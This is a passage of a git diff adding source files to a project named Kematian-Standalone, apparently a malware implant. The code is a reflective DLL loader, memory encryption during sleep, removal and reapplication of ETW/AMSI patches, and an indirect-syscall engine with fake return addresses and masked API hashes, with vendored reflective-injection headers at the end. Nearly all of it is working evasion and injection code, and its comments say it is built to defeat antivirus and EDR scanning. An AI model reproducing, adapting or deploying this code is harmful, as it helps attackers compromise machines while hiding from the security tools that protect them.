0; + while si < num_sections { + let s = sec + si * 40; + let vaddr = rd_u32(s, 12) as usize; + let raw_size = rd_u32(s, 16) as usize; + let raw_ptr = rd_u32(s, 20) as usize; + copy_bytes(ui_base + vaddr, ui_lib + raw_ptr, raw_size); + si += 1; + } + + // STEP 4: fix up imports. + let dd = opt + 112; + let imp_rva = rd_u32(dd, 8) as usize; + if imp_rva != 0 { + let imp = ui_base + imp_rva; + let mut di = 0; + loop { + let desc = imp + di * 20; + let name_rva = rd_u32(desc, 12); + if name_rva == 0 { + break; + } + let hlib = f_load((ui_base + name_rva as usize) as *const u8); + let oft_rva = rd_u32(desc, 0) as usize; + let ft_rva = rd_u32(desc, 16) as usize; + let mut iat = ui_base + ft_rva; + let mut oft = if oft_rva != 0 { ui_base + oft_rva } else { 0 }; + loop { + let thunk = rd_u64(iat, 0); + if thunk == 0 { + break; + } + if oft != 0 && (thunk >> 63) == 1 { + let ordinal = (thunk & 0xFFFF) as u16; + wr_u64(iat, 0, export_by_ordinal(hlib, ordinal) as u64); + } else { + let name_rva2 = (thunk as u32) as usize; + let by_name = ui_base + name_rva2; + wr_u64(iat, 0, f_get_proc(hlib, (by_name + 2) as *const u8) as u64); + } + iat += 8; + if oft != 0 { + oft += 8; + } + } + di += 1; + } + } + + // STEP 5: apply relocations. + let reloc_dd = dd + 0x28; + let reloc_size = rd_u32(reloc_dd, 4); + if reloc_size != 0 { + let reloc_rva = rd_u32(reloc_dd, 0) as usize; + let delta = ui_base.wrapping_sub(image_base); + let mut r = ui_base + reloc_rva; + loop { + let block_size = rd_u32(r, 4); + if block_size == 0 { + break; + } + let target = ui_base + rd_u32(r, 0) as usize; + let mut count = (block_size as usize - 8) / 2; + let mut e = r + 8; + while count > 0 { + let word = rd_u16(e, 0) as usize; + let typ = (word >> 12) & 0xF; + let off = word & 0xFFF; + // Only DIR64 (10) needs applying; a single comparison is + // used deliberately: a multi-case dispatch lets LLVM emit + // a jump table in `.rodata`, whose RIP-relative address + // would be wrong in the raw copy. + if typ == 10 { + let v = rd_u64(target, off).wrapping_add(delta as u64); + wr_u64(target, off, v); + } + e += 2; + count -= 1; + } + r = r + block_size as usize; + } + } + + // STEP 5b: register the exception table (.pdata) with the OS. + let exc_dd = dd + 0x30; + let exc_rva = rd_u32(exc_dd, 0) as usize; + let exc_size = rd_u32(exc_dd, 4) as usize; + if p_add_table != 0 && exc_rva != 0 && exc_size != 0 { + let f_add: RtlAddFunctionTableFn = core::mem::transmute(p_add_table); + let _ = f_add(ui_base + exc_rva, (exc_size / 12) as u32, ui_base as u64); + } + + // Flush the instruction cache so relocated code is used. + let _ = f_flush(-1, 0, 0); + + // STEP 6: invoke the DLL entry point and return its address. + let entry = ui_base + rd_u32(opt, 16) as usize; + let f_entry: DllMainFn = core::mem::transmute(entry); + let _ = f_entry(ui_base, DLL_PROCESS_ATTACH, lpParameter); + entry + } +} diff --git a/Kematian-Standalone/rust-extractor/src/sleep.rs b/Kematian-Standalone/rust-extractor/src/sleep.rs new file mode 100644 index 0000000..341d73c --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/sleep.rs @@ -0,0 +1,263 @@ +//! Sleep obfuscation and memory encryption for runtime evasion. +//! +//! When the implant is idle (sleeping), we encrypt sensitive memory regions +//! (heap, .data) so memory scanners/dumpers can't find plaintext strings, +//! keys, or configuration. On wake, we decrypt just-in-time. +//! +//! We also *un-patch* the ETW/AMSI code modifications before sleeping and +//! re-apply them on wake: memory-scanning EDRs inspect code sections while a +//! process idles, and a permanently-modified ntdll/amsi prologue is a +//! giveaway. `patch::suspend_all` / `patch::resume_all` handle that. +//! +//! Uses per-build constants from gen.rs plus runtime entropy for the key. + +use core::arch::asm; +use core::ffi::c_void; +use core::ptr; +use core::sync::atomic::{AtomicBool, Ordering}; + +use crate::abi; +use crate::gen; +use crate::patch; +use crate::syscall; + +const MEM_COMMIT: u32 = 0x1000; +const PAGE_READWRITE: u32 = 0x04; + +#[repr(C)] +#[derive(Clone, Copy)] +struct MemoryBasicInfo { + base_address: *mut c_void, + allocation_base: *mut c_void, + allocation_protect: u32, + region_size: usize, + state: u32, + protect: u32, + _type: u32, +} + +static ENCRYPTION_ACTIVE: AtomicBool = AtomicBool::new(false); +static mut SLEEP_KEY: [u8; 32] = [0u8; 32]; + +/// Initialize the sleep-encryption key from per-build constants + runtime +/// entropy (RDTSC + stack address + tick count). +pub unsafe fn init_sleep_key() { + let mut key = [0u8; 32]; + + // Build-time constants (unique per artifact). + key[0] ^= gen::K_TOKEN; + key[1] ^= gen::K_VENDOR; + key[2] ^= gen::K_SMBIOS; + key[3] ^= gen::K_ENV; + key[4] ^= gen::K_DISPLAY; + let seed_bytes = gen::GEN_SEED.to_le_bytes(); + for i in 0..4 { + key[5 + i] ^= seed_bytes[i]; + } + + // Runtime entropy. + let mut tsc_lo: u32; + let mut tsc_hi: u32; + asm!("rdtsc", out("eax") tsc_lo, out("edx") tsc_hi, options(nostack, preserves_flags)); + + let sp: usize; + asm!("lea {}, [rsp]", out(reg) sp, options(nostack, preserves_flags)); + + let tick = abi::GetTickCount64(); + + let entropy: [[u8; 8]; 5] = [ + (tsc_lo as u64).to_le_bytes(), + (tsc_hi as u64).to_le_bytes(), + (sp as u64).to_le_bytes(), + tick.to_le_bytes(), + ((sp >> 16) as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15).to_le_bytes(), + ]; + + for (i, chunk) in entropy.iter().enumerate() { + for (j, &b) in chunk.iter().enumerate() { + key[(i * 6 + j) % 32] ^= b; + } + } + + for i in 0..32 { + ptr::write_volatile(&mut SLEEP_KEY[i] as *mut u8, key[i]); + } +} + +/// Keystream byte derived from SLEEP_KEY + position + region base. +#[inline(always)] +unsafe fn keystream_byte(offset: usize, region_base: usize) -> u8 { + let k0 = ptr::read_volatile(&SLEEP_KEY[0]) as u32; + let k1 = ptr::read_volatile(&SLEEP_KEY[8]) as u32; + let k2 = ptr::read_volatile(&SLEEP_KEY[16]) as u32; + + let mut x = k0 + .wrapping_add((offset as u32).wrapping_mul(0x9E37_79B9)) + .wrapping_add((region_base as u32).wrapping_mul(0x7F4A_7C15)) + .wrapping_add(k1) + .wrapping_add(k2); + + x ^= x >> 13; + x = x.wrapping_mul(0x5D58_85A9); + x ^= x >> 16; + x = x.wrapping_mul(0x85EBCA6B); + x ^= x << 7; + x = x.wrapping_mul(0x9E37_79B9); + + (x & 0xFF) as u8 +} + +/// XOR-encrypt a region in place (symmetric with decrypt). +unsafe fn transform_region(base: *mut u8, size: usize) { + if base.is_null() || size == 0 { + return; + } + for i in 0..size { + let byte = ptr::read_volatile(base.add(i)); + ptr::write_volatile(base.add(i), byte ^ keystream_byte(i, base as usize)); + } +} + +/// Should this region be encrypted? Only committed RW data regions — never +/// code (RX), guard pages, or mapped images. +unsafe fn should_transform(info: &MemoryBasicInfo) -> bool { + if info.state != MEM_COMMIT { + return false; + } + info.protect & 0xFF == PAGE_READWRITE +} + +/// Change page protection via the runtime-resolved VirtualProtect. +unsafe fn set_protect(addr: *mut c_void, size: usize, prot: u32) -> Option { + let vp = crate::apires::virtual_protect(); + if vp == 0 { + return None; + } + type VpFn = unsafe extern "system" fn(*mut c_void, usize, u32, *mut u32) -> i32; + let f: VpFn = core::mem::transmute(vp); + let mut old: u32 = 0; + if f(addr, size, prot, &mut old) != 0 { + Some(old) + } else { + None + } +} + +/// Encrypt all private RW data regions (heap, .data, .bss). +pub unsafe fn encrypt_memory() { + if ENCRYPTION_ACTIVE.load(Ordering::SeqCst) { + return; + } + init_sleep_key(); + + let mut info: MemoryBasicInfo = core::mem::zeroed(); + let mut addr: usize = 0; + + while addr < usize::MAX - 0x10000 { + let got = abi::VirtualQuery( + addr as *const c_void, + &mut info as *mut _ as *mut c_void, + core::mem::size_of::(), + ); + if got == 0 { + break; + } + if should_transform(&info) && info.region_size > 0 && info.region_size < 64 * 1024 * 1024 { + transform_region(info.base_address as *mut u8, info.region_size); + } + let next = info.base_address as usize + info.region_size; + if next <= addr { + break; + } + addr = next; + } + + ENCRYPTION_ACTIVE.store(true, Ordering::SeqCst); +} + +/// Decrypt all previously encrypted regions (XOR is symmetric; same pass). +pub unsafe fn decrypt_memory() { + if !ENCRYPTION_ACTIVE.load(Ordering::SeqCst) { + return; + } + + let mut info: MemoryBasicInfo = core::mem::zeroed(); + let mut addr: usize = 0; + + while addr < usize::MAX - 0x10000 { + let got = abi::VirtualQuery( + addr as *const c_void, + &mut info as *mut _ as *mut c_void, + core::mem::size_of::(), + ); + if got == 0 { + break; + } + if should_transform(&info) && info.region_size > 0 && info.region_size < 64 * 1024 * 1024 { + transform_region(info.base_address as *mut u8, info.region_size); + } + let next = info.base_address as usize + info.region_size; + if next <= addr { + break; + } + addr = next; + } + + ENCRYPTION_ACTIVE.store(false, Ordering::SeqCst); +} + +/// Sleep with memory encryption + patch-evasion: +/// encrypt → restore ETW/AMSI bytes → NtDelayExecution → re-patch → decrypt. +pub unsafe fn secure_sleep(milliseconds: u32) { + encrypt_memory(); + + // Restore original code bytes so memory scanners see a pristine ntdll/amsi + // while we idle. + patch::suspend_all(); + + // Negative LARGE_INTEGER = relative timeout, in 100ns units. + let interval: i64 = -((milliseconds as i64) * 10_000); + let _ = syscall::sys_nt_delay_execution(0, &interval as *const i64); + + // Re-apply the defense patches. + patch::resume_all(); + + decrypt_memory(); +} + +/// Selective encryption for specific sensitive buffers. +pub unsafe fn encrypt_sensitive(regions: &[(*mut u8, usize)]) { + init_sleep_key(); + for &(base, size) in regions { + transform_region(base, size); + } +} + +pub unsafe fn decrypt_sensitive(regions: &[(*mut u8, usize)]) { + for &(base, size) in regions { + transform_region(base, size); + } +} + +/// Stack hardening during sleep: encrypt a stack window below current SP so +/// stack scanners / return-address walkers can't resolve call chains. +pub unsafe fn spoof_stack() { + let sp: usize; + asm!("mov {}, rsp", out(reg) sp, options(nostack, preserves_flags)); + let offset = gen::STACK_SPOOF_OFF as usize; + let size = 4096usize; + if sp > offset + size { + init_sleep_key(); + transform_region((sp - offset - size) as *mut u8, size); + } +} + +pub unsafe fn unspoof_stack() { + let sp: usize; + asm!("mov {}, rsp", out(reg) sp, options(nostack, preserves_flags)); + let offset = gen::STACK_SPOOF_OFF as usize; + let size = 4096usize; + if sp > offset + size { + transform_region((sp - offset - size) as *mut u8, size); + } +} diff --git a/Kematian-Standalone/rust-extractor/src/syscall.rs b/Kematian-Standalone/rust-extractor/src/syscall.rs new file mode 100644 index 0000000..6181799 --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/syscall.rs @@ -0,0 +1,491 @@ +//! Indirect syscall engine (v2) — ntdll-gadget execution. +//! +//! Executing `syscall` inside our own code section is exactly what EDR +//! stack-inspection looks for: a syscall whose return address points outside +//! ntdll. This engine instead: +//! +//! 1. Resolves all syscall numbers at runtime from clean ntdll stubs +//! (`4C 8B D1 B8 ... 0F 05 C3`) using verified-correct ror-hashes. +//! 2. Picks an untouched stub as a *gadget* host: `syscall` lives at +8, +//! its `ret` at +10 — the privileged instruction executes from ntdll's +//! text section, never from ours. +//! 3. Uses a two-stage fake return ("Tartarus' gate" shape): the return +//! address visible on the stack during the syscall points INTO ntdll; +//! a second `ret` gadget there hands control back to our continuation. +//! 4. Falls back to a direct in-place syscall only if every candidate stub +//! is hooked (in which case we are already detected anyway). +//! +//! Per-build variance: which stub hosts the gadgets is selected by +//! `gen::SYSCALL_TRAMP`. + +#![allow(unused_assignments)] + +use core::arch::asm; +use core::ffi::c_void; + +use crate::antihook; +use crate::gen; + +// --------------------------------------------------------------------------- +// Rotating-hash name constants (algorithm: ror1 + add, case-insensitive). +// Verified against apires::hash_ascii / hash_wide. +// +// The constants are stored XORed with HASH_KEY so the raw ror-hash values +// never appear in `.rodata` or as immediates (AV scans for known NT API-hash +// tables). `r()` unmasks them at runtime. +// --------------------------------------------------------------------------- +/// XOR key applied to every stored API hash (fixed, so artifacts agree on the +/// decoding); the *effective* hashes stay per-build through gen-mixed strings +/// elsewhere. +pub const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A; + +/// Unmask a stored (scrambled) API hash. +/// +/// `black_box` prevents the optimizer from folding `h ^ HASH_KEY` back to the +/// raw value at compile time — the recovery happens at runtime, so the real +/// API-hash constant never appears in the binary. +#[inline(always)] +pub fn r(h: u32) -> u32 { + h ^ core::hint::black_box(HASH_KEY) +} + +pub const HASH_NTPROTECT_VIRTUAL_MEMORY: u32 = 0x70D7_B0A8 ^ HASH_KEY; +pub const HASH_NTQUERY_VIRTUAL_MEMORY: u32 = 0x7136_40A8 ^ HASH_KEY; +pub const HASH_NTALLOCATE_VIRTUAL_MEMORY: u32 = 0x7088_E8A8 ^ HASH_KEY; +pub const HASH_NTFREE_VIRTUAL_MEMORY: u32 = 0x7063_80A8 ^ HASH_KEY; +pub const HASH_NTCREATE_THREAD_EX: u32 = 0xD904_009C ^ HASH_KEY; +pub const HASH_NTQUERY_INFORMATION_PROCESS: u32 = 0x1664_32A0 ^ HASH_KEY; +pub const HASH_NTSET_INFORMATION_PROCESS: u32 = 0x1661_28A0 ^ HASH_KEY; +pub const HASH_NTQUERY_SYSTEM_INFORMATION: u32 = 0x3074_649B ^ HASH_KEY; +pub const HASH_NTREAD_VIRTUAL_MEMORY: u32 = 0x703D_80A8 ^ HASH_KEY; +pub const HASH_NTWRITE_VIRTUAL_MEMORY: u32 = 0x70A6_40A8 ^ HASH_KEY; +pub const HASH_LDR_LOAD_DLL: u32 = 0x4600_0094 ^ HASH_KEY; +pub const HASH_NTDELAY_EXECUTION: u32 = 0xFF9C_009B ^ HASH_KEY; +pub const HASH_ETW_EVENT_WRITE: u32 = 0xEF10_0095 ^ HASH_KEY; +pub const HASH_ETW_EVENT_REGISTER: u32 = 0xFFE2_009C ^ HASH_KEY; +pub const HASH_NTTRACE_EVENT: u32 = 0xA0C0_009F ^ HASH_KEY; +pub const HASH_AMSI_SCAN_BUFFER: u32 = 0x69F8_0098 ^ HASH_KEY; + +/// Wide-name hash of "amsi.dll" (matches apires::hash_wide). +pub const HASH_MODULE_AMSI: u32 = 0x9E00_0091 ^ HASH_KEY; + +/// Syscall numbers resolved at runtime from ntdll stubs. +#[derive(Clone, Copy)] +pub struct SyscallNumbers { + pub nt_protect_virtual_memory: u16, + pub nt_query_virtual_memory: u16, + pub nt_allocate_virtual_memory: u16, + pub nt_free_virtual_memory: u16, + pub nt_create_thread_ex: u16, + pub nt_query_information_process: u16, + pub nt_set_information_process: u16, + pub nt_query_system_information: u16, + pub nt_read_virtual_memory: u16, + pub nt_write_virtual_memory: u16, + pub ldr_load_dll: u16, + pub nt_delay_execution: u16, +} + +static mut SYSCALL_NUMS: SyscallNumbers = SyscallNumbers { + nt_protect_virtual_memory: 0, + nt_query_virtual_memory: 0, + nt_allocate_virtual_memory: 0, + nt_free_virtual_memory: 0, + nt_create_thread_ex: 0, + nt_query_information_process: 0, + nt_set_information_process: 0, + nt_query_system_information: 0, + nt_read_virtual_memory: 0, + nt_write_virtual_memory: 0, + ldr_load_dll: 0, + nt_delay_execution: 0, +}; + +// --------------------------------------------------------------------------- +// Gadget discovery +// --------------------------------------------------------------------------- + +/// A clean ntdll stub yields two gadget addresses: +/// syscall_gadget = stub + 8 (`0F 05`) +/// ret_gadget = stub + 10 (`C3`) +#[derive(Clone, Copy)] +struct Gadgets { + syscall_gadget: usize, + ret_gadget: usize, +} + +static mut GADGETS: Gadgets = Gadgets { syscall_gadget: 0, ret_gadget: 0 }; + +/// Extract the service number embedded in an ntdll stub. +unsafe fn stub_syscall_number(addr: usize) -> Option { + let mut buf = [0u8; 12]; + antihook::read_bytes_pub(addr, &mut buf); + if buf[0] == 0x4C && buf[1] == 0x8B && buf[2] == 0xD1 && buf[3] == 0xB8 { + Some(u16::from_le_bytes([buf[4], buf[5]])) + } else { + None + } +} + +/// Candidate trampoline hosts, ordered per-build via SYSCALL_TRAMP rotation. +fn stub_candidates() -> [u32; 5] { + let base = [ + r(HASH_NTDELAY_EXECUTION), + r(HASH_NTQUERY_SYSTEM_INFORMATION), + r(HASH_NTWRITE_VIRTUAL_MEMORY), + r(HASH_NTQUERY_INFORMATION_PROCESS), + r(HASH_NTREAD_VIRTUAL_MEMORY), + ]; + let rot = (gen::SYSCALL_TRAMP as usize) % base.len(); + let mut out = [0u32; 5]; + for i in 0..base.len() { + out[i] = base[(i + rot) % base.len()]; + } + out +} + +/// Resolve syscall numbers + pick clean gadget-hosting stubs. +pub unsafe fn init_syscall_numbers() { + let ntdll = crate::apires::ntdll_base(); + if ntdll == 0 { + return; + } + + macro_rules! resolve_num { + ($hash:expr, $field:ident) => { + if let Some(addr) = antihook::resolve_export(r($hash)) { + if let Some(n) = stub_syscall_number(addr) { + SYSCALL_NUMS.$field = n; + } + } + }; + } + + resolve_num!(HASH_NTPROTECT_VIRTUAL_MEMORY, nt_protect_virtual_memory); + resolve_num!(HASH_NTQUERY_VIRTUAL_MEMORY, nt_query_virtual_memory); + resolve_num!(HASH_NTALLOCATE_VIRTUAL_MEMORY, nt_allocate_virtual_memory); + resolve_num!(HASH_NTFREE_VIRTUAL_MEMORY, nt_free_virtual_memory); + resolve_num!(HASH_NTCREATE_THREAD_EX, nt_create_thread_ex); + resolve_num!(HASH_NTQUERY_INFORMATION_PROCESS, nt_query_information_process); + resolve_num!(HASH_NTSET_INFORMATION_PROCESS, nt_set_information_process); + resolve_num!(HASH_NTQUERY_SYSTEM_INFORMATION, nt_query_system_information); + resolve_num!(HASH_NTREAD_VIRTUAL_MEMORY, nt_read_virtual_memory); + resolve_num!(HASH_NTWRITE_VIRTUAL_MEMORY, nt_write_virtual_memory); + resolve_num!(HASH_LDR_LOAD_DLL, ldr_load_dll); + resolve_num!(HASH_NTDELAY_EXECUTION, nt_delay_execution); + + // Pick a clean gadget host: unhooked AND byte-verified stub shape. + for &hash in stub_candidates().iter() { + if let Some(addr) = antihook::resolve_export(hash) { + if addr != 0 && !antihook::is_address_hooked(addr) { + let mut probe = [0u8; 12]; + antihook::read_bytes_pub(addr, &mut probe); + // mov r10,rcx | mov eax,imm32 | syscall | ret + if probe[0] == 0x4C + && probe[1] == 0x8B + && probe[2] == 0xD1 + && probe[3] == 0xB8 + && probe[8] == 0x0F + && probe[9] == 0x05 + && probe[10] == 0xC3 + { + GADGETS = Gadgets { + syscall_gadget: addr + 8, + ret_gadget: addr + 10, + }; + break; + } + } + } + } +} + +pub unsafe fn get_syscall_numbers() -> &'static SyscallNumbers { + if SYSCALL_NUMS.nt_protect_virtual_memory == 0 + && SYSCALL_NUMS.nt_delay_execution == 0 + { + init_syscall_numbers(); + } + &SYSCALL_NUMS +} + +#[inline] +unsafe fn gadgets() -> (usize, usize) { + let g = core::ptr::addr_of!(GADGETS).read(); + (g.syscall_gadget, g.ret_gadget) +} + +// --------------------------------------------------------------------------- +// Indirect syscall wrappers - ntdll-gadget + fake-return layout. +// +// Register plan (ABI-safe, Windows x64): +// rcx/rdx/r8/r9 : syscall args (pinned), rcx copied to r10 manually +// rdi : syscall gadget address (callee-saved => read-only use) +// rsi : ret gadget address (callee-saved => read-only use) +// r12 : syscall number (callee-saved => read-only use) +// r13/r14 : optional args 5/6 (callee-saved => read-only use) +// r11 : internal scratch (volatile, kernel-clobbered anyway) +// eax : NTSTATUS out +// +// Rust forbids referencing explicit-register operands in asm templates, so +// every value enters through a fixed callee-saved register hardcoded in the +// template text. LLVM keeps those values alive until the block consumes them. +// +// Stack contract at `jmp rdi` (syscall gadget): +// [rsp] = ret_gadget (ntdll `C3`) <- EDR-visible "return address" +// [rsp+8] = real continuation label +// Flow: ntdll `syscall` -> stub `ret` pops ret_gadget -> jumps there -> +// that `ret` pops our continuation. Stack ends balanced. +// --------------------------------------------------------------------------- + +/// 4-arg indirect syscall. +#[inline] +pub unsafe fn sys_indirect4(num: u32, a1: usize, a2: usize, a3: usize, a4: usize) -> i32 { + let (sg, rg) = gadgets(); + if sg == 0 { + let status: i32; + asm!( + "mov r10, rcx", + "mov eax, r12d", + "syscall", + in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4, + in("r12") num, + lateout("rax") status, + options(nostack), + ); + return status; + } + let status: i32; + asm!( + "mov r10, rcx", + "mov eax, r12d", + "lea rcx, [rip+2f]", + "push rcx", + "mov r11, rsi", + "push r11", + "jmp rdi", + "2:", + in("rcx") a1, + in("rdx") a2, + in("r8") a3, + in("r9") a4, + in("rdi") sg, + in("rsi") rg, + in("r12") num, + lateout("rax") status, + out("r11") _, + ); + status +} + +/// 6-arg indirect syscall (args 5/6 via kernel stack slots). +/// Stores land at [rsp+0x18]/[rsp+0x20]; two pushes shift rsp down 0x10 so +/// they sit at kernel-required [rsp+0x28]/[rsp+0x30] at syscall time. +#[inline] +pub unsafe fn sys_indirect6( + num: u32, a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize, +) -> i32 { + let (sg, rg) = gadgets(); + if sg == 0 { + let status: i32; + asm!( + "sub rsp, 0x30", + "mov [rsp+0x28], r13", + "mov [rsp+0x30], r14", + "mov r10, rcx", + "mov eax, r12d", + "syscall", + "add rsp, 0x30", + in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4, + in("r12") num, in("r13") a5, in("r14") a6, + lateout("rax") status, + options(nostack), + ); + return status; + } + let status: i32; + asm!( + "sub rsp, 0x28", + "mov [rsp+0x18], r13", // -> kernel slot [rsp+0x28] post-push + "mov [rsp+0x20], r14", // -> kernel slot [rsp+0x30] post-push + "mov r10, rcx", + "mov eax, r12d", + "lea rcx, [rip+2f]", + "push rcx", + "mov r11, rsi", + "push r11", + "jmp rdi", + "2:", + "add rsp, 0x28", + in("rcx") a1, + in("rdx") a2, + in("r8") a3, + in("r9") a4, + in("rdi") sg, + in("rsi") rg, + in("r12") num, + in("r13") a5, + in("r14") a6, + lateout("rax") status, + out("r11") _, + ); + status +} + +/// 5-arg indirect syscall (arg 5 on kernel stack slot). +/// Store at [rsp+0x08]; two pushes shift rsp by 0x10 so it lands at +/// kernel-required [rsp+0x28] at syscall time. +#[inline] +pub unsafe fn sys_indirect5( + num: u32, a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, +) -> i32 { + let (sg, rg) = gadgets(); + if sg == 0 { + let status: i32; + asm!( + "sub rsp, 0x28", + "mov [rsp+0x28], r13", + "mov r10, rcx", + "mov eax, r12d", + "syscall", + "add rsp, 0x28", + in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4, + in("r12") num, in("r13") a5, + lateout("rax") status, + options(nostack), + ); + return status; + } + let status: i32; + asm!( + "sub rsp, 0x18", + "mov [rsp+0x08], r13", // -> kernel slot [rsp+0x28] post-push + "mov r10, rcx", + "mov eax, r12d", + "lea rcx, [rip+2f]", + "push rcx", + "mov r11, rsi", + "push r11", + "jmp rdi", + "2:", + "add rsp, 0x18", + in("rcx") a1, + in("rdx") a2, + in("r8") a3, + in("r9") a4, + in("rdi") sg, + in("rsi") rg, + in("r12") num, + in("r13") a5, + lateout("rax") status, + out("r11") _, + ); + status +} + +// --------------------------------------------------------------------------- +// Typed public wrappers +// --------------------------------------------------------------------------- + +#[inline] +fn current_process() -> usize { + usize::MAX // (HANDLE)-1 pseudo-handle +} + +pub unsafe fn sys_nt_protect_virtual_memory( + process_handle: usize, + base_address: *mut *mut c_void, + region_size: *mut usize, + new_protect: u32, + old_protect: *mut u32, +) -> i32 { + let num = get_syscall_numbers().nt_protect_virtual_memory as u32; + if num == 0 { return -1; } + sys_indirect6(num, process_handle, base_address as usize, region_size as usize, + new_protect as usize, 0, old_protect as usize) +} + +pub unsafe fn sys_nt_allocate_virtual_memory( + process_handle: usize, + base_address: *mut *mut c_void, + zero_bits: usize, + region_size: *mut usize, + allocation_type: u32, + protect: u32, +) -> i32 { + let num = get_syscall_numbers().nt_allocate_virtual_memory as u32; + if num == 0 { return -1; } + sys_indirect6(num, process_handle, base_address as usize, zero_bits, + region_size as usize, allocation_type as usize, protect as usize) +} + +pub unsafe fn sys_nt_free_virtual_memory( + process_handle: usize, + base_address: *mut *mut c_void, + region_size: *mut usize, + free_type: u32, +) -> i32 { + let num = get_syscall_numbers().nt_free_virtual_memory as u32; + if num == 0 { return -1; } + sys_indirect4(num, process_handle, base_address as usize, region_size as usize, free_type as usize) +} + +pub unsafe fn sys_nt_query_information_process( + process_handle: usize, + info_class: u32, + info: *mut c_void, + info_len: u32, + return_len: *mut u32, +) -> i32 { + let num = get_syscall_numbers().nt_query_information_process as u32; + if num == 0 { return -1; } + sys_indirect5(num, process_handle, info_class as usize, info as usize, + info_len as usize, return_len as usize) +} + +pub unsafe fn sys_nt_set_information_process( + process_handle: usize, + info_class: u32, + info: *mut c_void, + info_len: u32, +) -> i32 { + let num = get_syscall_numbers().nt_set_information_process as u32; + if num == 0 { return -1; } + sys_indirect4(num, process_handle, info_class as usize, info as usize, info_len as usize) +} + +pub unsafe fn sys_nt_query_system_information( + info_class: u32, + info: *mut c_void, + info_len: usize, + return_len: *mut usize, +) -> i32 { + let num = get_syscall_numbers().nt_query_system_information as u32; + if num == 0 { return -1; } + sys_indirect4(num, info_class as usize, info as usize, info_len, return_len as usize) +} + +pub unsafe fn sys_nt_query_virtual_memory( + process_handle: usize, + base_address: *const c_void, + info_class: u32, + info: *mut c_void, + info_len: usize, + return_len: *mut usize, +) -> i32 { + let num = get_syscall_numbers().nt_query_virtual_memory as u32; + if num == 0 { return -1; } + sys_indirect6(num, process_handle, base_address as usize, info_class as usize, + info as usize, info_len, return_len as usize) +} + +pub unsafe fn sys_nt_delay_execution(alertable: u32, interval: *const i64) -> i32 { + let num = get_syscall_numbers().nt_delay_execution as u32; + if num == 0 { return -1; } + sys_indirect4(num, alertable as usize, interval as usize, 0, 0) +} + +/// Current-process pseudo-handle helper for external users. +pub fn cur_process() -> usize { + current_process() +} diff --git a/Kematian-Standalone/vendor/injection/ReflectiveDLLInjection.h b/Kematian-Standalone/vendor/injection/ReflectiveDLLInjection.h new file mode 100644 index 0000000..72fd96b --- /dev/null +++ b/Kematian-Standalone/vendor/injection/ReflectiveDLLInjection.h @@ -0,0 +1,51 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID); +typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/Kematian-Standalone/vendor/injection/ReflectiveLoader.c b/Kematian-Standalone/vendor/injection/ReflectiveLoader.c new file mode 100644 index 0000000..900e436 --- /dev/null +++ b/Kematian-Standalone/vendor/injection/ReflectiveLoader.c @@ -0,0 +1,516 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 